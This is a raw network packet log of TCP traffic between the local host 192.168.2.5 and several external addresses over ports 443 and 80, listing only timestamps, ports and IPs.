Nov 16, 2024 23:36:34.738650084 CET	49857	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.738881111 CET	49856	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.738998890 CET	443	49856	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.739108086 CET	49856	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.752486944 CET	49858	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.752587080 CET	443	49858	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.752641916 CET	49858	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.753081083 CET	49855	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.753160000 CET	443	49855	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.753221989 CET	49855	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.773163080 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.773205042 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.773219109 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.773236990 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.773252964 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.773250103 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.773268938 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.773274899 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.773319960 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.773330927 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.773382902 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.773475885 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.773475885 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.774125099 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.774302006 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.774327040 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.774343967 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.774353027 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.774395943 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.775269985 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.775340080 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.787410975 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.787425041 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.787462950 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.787487984 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.845784903 CET	49864	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:34.845794916 CET	49865	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:34.845824003 CET	443	49864	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:34.845869064 CET	443	49865	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:34.845926046 CET	49864	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:34.845926046 CET	49866	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:34.845942974 CET	49865	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:34.845962048 CET	443	49866	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:34.846031904 CET	49866	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:34.846266985 CET	49867	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:34.846291065 CET	443	49867	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:34.846354961 CET	49867	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:34.846410990 CET	49868	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:34.846437931 CET	443	49868	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:34.846523046 CET	49869	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:34.846558094 CET	443	49869	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:34.846560955 CET	49868	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:34.846610069 CET	49869	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:34.846745968 CET	49865	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:34.846782923 CET	443	49865	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:34.846856117 CET	49864	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:34.846867085 CET	443	49864	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:34.847018957 CET	49866	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:34.847027063 CET	443	49866	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:34.847060919 CET	49869	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:34.847079992 CET	443	49869	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:34.847218037 CET	49868	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:34.847234011 CET	443	49868	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:34.847794056 CET	49867	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:34.847819090 CET	443	49867	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:34.876678944 CET	443	49859	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.877145052 CET	49859	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.877154112 CET	443	49859	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.877607107 CET	49859	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.877612114 CET	443	49859	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.893488884 CET	443	49861	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.893858910 CET	49861	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.893872976 CET	443	49861	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.894362926 CET	49861	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.894366980 CET	443	49861	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.905430079 CET	443	49860	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.906543970 CET	49860	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.906563044 CET	443	49860	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.907037020 CET	49860	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.907042027 CET	443	49860	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.929683924 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.929729939 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.929750919 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.929918051 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.929927111 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.929991961 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.930017948 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.930046082 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.930722952 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.930783987 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.930798054 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.930814028 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.930870056 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.931586981 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.931638002 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.931644917 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.931689024 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.932409048 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.932425022 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.932446003 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.932471991 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.933257103 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.933306932 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.933357000 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.934031963 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.934092999 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.934170961 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.934220076 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.934847116 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.934890032 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.934931993 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.935635090 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.935661077 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.935700893 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.935726881 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.936423063 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.936481953 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.936536074 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.937213898 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.937258959 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.937300920 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.937361002 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.938024998 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.938193083 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.031719923 CET	443	49859	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.031878948 CET	443	49859	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.032098055 CET	49859	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.032098055 CET	49859	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.032191038 CET	49859	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.032207966 CET	443	49859	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.034652948 CET	49872	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.034733057 CET	443	49872	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.034846067 CET	49872	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.034991980 CET	49872	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.035010099 CET	443	49872	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.043739080 CET	443	49861	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.043817997 CET	443	49861	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.043869019 CET	49861	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.044289112 CET	49861	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.044306040 CET	443	49861	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.044316053 CET	49861	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.044321060 CET	443	49861	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.047584057 CET	49873	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.047612906 CET	443	49873	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.047673941 CET	49873	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.047777891 CET	49873	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.047794104 CET	443	49873	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.052994013 CET	443	49860	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.053138018 CET	443	49860	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.053195000 CET	49860	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.053225994 CET	49860	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.053241968 CET	443	49860	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.053256989 CET	49860	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.053262949 CET	443	49860	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.055197001 CET	49874	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.055212975 CET	443	49874	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.055434942 CET	49874	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.055558920 CET	49874	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.055572987 CET	443	49874	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.080705881 CET	443	49863	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.081155062 CET	49863	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.081165075 CET	443	49863	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.081645012 CET	49863	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.081649065 CET	443	49863	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.086478949 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.086496115 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.086509943 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.086549997 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.086605072 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.086693048 CET	443	49862	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.086802959 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.086848021 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.086863041 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.086870909 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.086905003 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.086905003 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.087172031 CET	49862	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.087199926 CET	443	49862	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.087580919 CET	49862	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.087588072 CET	443	49862	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.087745905 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.087781906 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.087796926 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.087809086 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.087843895 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.088774920 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.088805914 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.088820934 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.088841915 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.088841915 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.088874102 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.089674950 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.089736938 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.089751959 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.089771032 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.089771032 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.089806080 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.090630054 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.090711117 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.090715885 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.090732098 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.090785980 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.091546059 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.091607094 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.091622114 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.091676950 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.091705084 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.092510939 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.092562914 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.092578888 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.092597961 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.092623949 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.092649937 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.093482018 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.093499899 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.093516111 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.093533039 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.093554974 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.094510078 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.094525099 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.094538927 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.094567060 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.094594955 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.095330954 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.095369101 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.095383883 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.095395088 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.095432997 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.095433950 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.096252918 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.096298933 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.096309900 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.096326113 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.096344948 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.096369982 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.097275972 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.097336054 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.097351074 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.097378969 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.097409010 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.098181963 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.098218918 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.098249912 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.098270893 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.098273039 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.098421097 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.099101067 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.099152088 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.099160910 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.099167109 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.099189043 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.099212885 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.124939919 CET	49875	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:35.124958038 CET	443	49875	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:35.125082016 CET	49875	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:35.125170946 CET	49876	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:35.125193119 CET	443	49876	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:35.125327110 CET	49876	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:35.125433922 CET	49875	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:35.125447035 CET	443	49875	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:35.125603914 CET	49876	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:35.125622034 CET	443	49876	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:35.185687065 CET	49877	443	192.168.2.5	23.221.22.208
Nov 16, 2024 23:36:35.185728073 CET	443	49877	23.221.22.208	192.168.2.5
Nov 16, 2024 23:36:35.185803890 CET	49877	443	192.168.2.5	23.221.22.208
Nov 16, 2024 23:36:35.185925007 CET	49878	443	192.168.2.5	23.221.22.208
Nov 16, 2024 23:36:35.185961962 CET	443	49878	23.221.22.208	192.168.2.5
Nov 16, 2024 23:36:35.186177969 CET	49878	443	192.168.2.5	23.221.22.208
Nov 16, 2024 23:36:35.186397076 CET	49879	443	192.168.2.5	23.221.22.208
Nov 16, 2024 23:36:35.186408997 CET	443	49879	23.221.22.208	192.168.2.5
Nov 16, 2024 23:36:35.186625957 CET	49877	443	192.168.2.5	23.221.22.208
Nov 16, 2024 23:36:35.186645985 CET	443	49877	23.221.22.208	192.168.2.5
Nov 16, 2024 23:36:35.186661005 CET	49879	443	192.168.2.5	23.221.22.208
Nov 16, 2024 23:36:35.186837912 CET	49878	443	192.168.2.5	23.221.22.208
Nov 16, 2024 23:36:35.186857939 CET	443	49878	23.221.22.208	192.168.2.5
Nov 16, 2024 23:36:35.187006950 CET	49879	443	192.168.2.5	23.221.22.208
Nov 16, 2024 23:36:35.187021017 CET	443	49879	23.221.22.208	192.168.2.5
Nov 16, 2024 23:36:35.226990938 CET	443	49863	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.227191925 CET	443	49863	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.227257967 CET	49863	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.227289915 CET	49863	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.227303982 CET	443	49863	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.227324963 CET	49863	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.227329969 CET	443	49863	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.230509043 CET	49880	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.230545044 CET	443	49880	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.230737925 CET	49880	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.231026888 CET	49880	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.231040955 CET	443	49880	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.232701063 CET	443	49862	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.232842922 CET	443	49862	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.232913017 CET	49862	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.232947111 CET	49862	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.232964039 CET	443	49862	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.232978106 CET	49862	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.232985020 CET	443	49862	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.234956026 CET	49881	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.235016108 CET	443	49881	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.235100031 CET	49881	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.235255003 CET	49881	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.235291958 CET	443	49881	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.242937088 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.243002892 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.243119001 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.243163109 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.243169069 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.243185997 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.243200064 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.243210077 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.243247032 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.243247032 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.243552923 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.243570089 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.243583918 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.243606091 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.243638039 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.244071960 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.244087934 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.244103909 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.244119883 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.244124889 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.244157076 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.244184971 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.244812012 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.244827986 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.244843006 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.244865894 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.244894981 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.244986057 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.245112896 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.245574951 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.245599985 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.245614052 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.245630026 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.245662928 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.245692968 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.246454954 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.246479988 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.246495008 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.246507883 CET	49824	80	192.168.2.5	185.215.113.206
